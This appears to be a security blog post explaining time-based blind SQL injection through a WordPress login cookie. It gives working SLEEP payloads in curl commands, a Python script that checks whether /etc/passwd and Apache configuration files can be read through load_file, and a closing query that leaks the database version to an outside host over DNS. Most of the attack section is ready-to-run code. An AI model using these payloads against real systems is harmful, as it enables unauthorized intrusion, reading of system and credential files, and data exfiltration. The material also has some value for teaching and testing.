Blind SQL Injection | Bagheera Labs by Bagheera Altered

Can’t see the output, but you can see the effect of the injection

Blind SQL Injection stands out as a particularly stealthy threat. Among the various techniques employed by attackers, the Timing Attack is a subtle yet powerful method that exploits the inherent time-based behavior of database responses to retrive information.

The initial here is to find a parameter that is vulnerable, by monitoring the response times:

~ $ curl -s -o /dev/null -w "Total time: %{time_total}s\n" https://www.victim.com  -H "Cookie: wordpress_logged_in=TEST%20TEST”`
Total time: 0.616676s

~ $ curl -s -o /dev/null -w "Total time: %{time_total}s\n" https://www.victim.com -H "Cookie: wordpress_logged_in=TEST%22%20AND%20%28SELECT%203181%20FROM%20%28SELECT%28SLEEP%285%29%29%29hmTp%29--%20FJBf"
Total time: 1.611624s

The SLEEP command here is what we’re going to use to enumerate data from the database.

Breaking the idea down step by step, NOTE: This is not code, just showing the logic:

If this gets the Column pass where the User Column is admin from the Table database:

SELECT pass where user is admin from database

The SUBSTRING query here will get the 1st character from the column of length 1:

SUBSTRING((SELECT pass where user is admin from database),1,1)

This would then check if the 1st character is a, and if it is it would Sleep for 5 seconds, if not then it would not do anything:

IF (SUBSTRING((SELECT pass where user is admin from database),0,1)) = 'a THEN sleep 5 ELSE 1=1

Using this process we can iterate through an array and find what each character is:

dictionary = [a-z,A-Z,0-9,!@#$%^&*()]`

for $line in dictionary`


IF(SUBTRING((SELECT PASS WHERE USER IS mysql FROM mysqldatabase),0,1)) is '$line' THEN SLEEP(5) ELSE 1=1
 if the response > 5 sec
	write $line > pass.txt
elseif

There is a more efficient way to do this, that would cause less traffic, using equal to or greater than:

If the value ≥ m then sleep 5

If the value here is m or after m in the alphabet then the database will sleep for 5 seconds. This significantly reduces time and the amount of requests.

At this point instead of enumerating each column and each table. There are easier things to concentrate on. If the database user has the ability to read a file, then we can use the load_file query. If the user is not permitted to read the file, the load_file will return NULL.

SELECT CASE WHEN (load_file({})) IS NOT NULL THEN SLEEP(10) ELSE "a" END AND "Bagh"="Bagh

This is what that might look like

import requests
from urllib.parse import quote

BaggyA0_url = "https://www.example.com:443/"
BaggyA0_headers = {"Sec-Ch-Ua": "\"Chromium\";v=\"121\", \"Not A(Brand\";v=\"99\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=0, i", "Connection": "close"}
dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

file_paths = [
"/etc/passwd",
"/etc/init.d/apache/httpd.conf",
"/etc/init.d/apache2/httpd.conf",
"/etc/httpd/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/apache/apache.conf",
"/etc/apache/httpd.conf",
"/etc/apache2/apache2.conf",
"/etc/apache2/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/opt/apache/conf/httpd.conf",
"/home/apache/httpd.conf",
"/home/apache/conf/httpd.conf",
"/etc/apache2/sites-available/default",
"/etc/apache2/vhosts.d/default_vhost.include"]

def hexthing(s):
	return '0x' + ''.join(format(ord(c), 'x') for c in s)

hexpaths = [hexthing(s) for s in file_paths]

for hexpath in hexpaths:
	#print(hexpath)
	firstvar = 'TEST" AND (SELECT CASE WHEN (load_file({}) IS NOT NULL THEN SLEEP(10) ELSE "a" END AND "Bagh"="Bagh'.format(hexpath)
	encoded_var = firstvar.replace(" ", "%20")
	BaggyA0_cookies = {"wordpress_logged_in": encoded_var}
	#print(BaggyA0_cookies)
	response = requests.get(BaggyA0_url, headers=BaggyA0_headers, cookies=BaggyA0_cookies)
    
	print("Time taken for iteration", hexpath, ":", response.elapsed.total_seconds(), "seconds")
	if response.elapsed.total_seconds() > 1:
    	print("File found:", file_paths[hexpaths.index(hexpath)])

This technique can be used to enumerate information other than data in the database, such as the database name, the banner, the hostname the users and the users’s privileges.

A final test would be to get SSRF from the database, and maybe send files:

select load_file(concat('\\\\',version(),'.oobserver.site\\a.txt'));

Can’t see the output, but you can see the effect of the injection

Enjoy Reading This Article?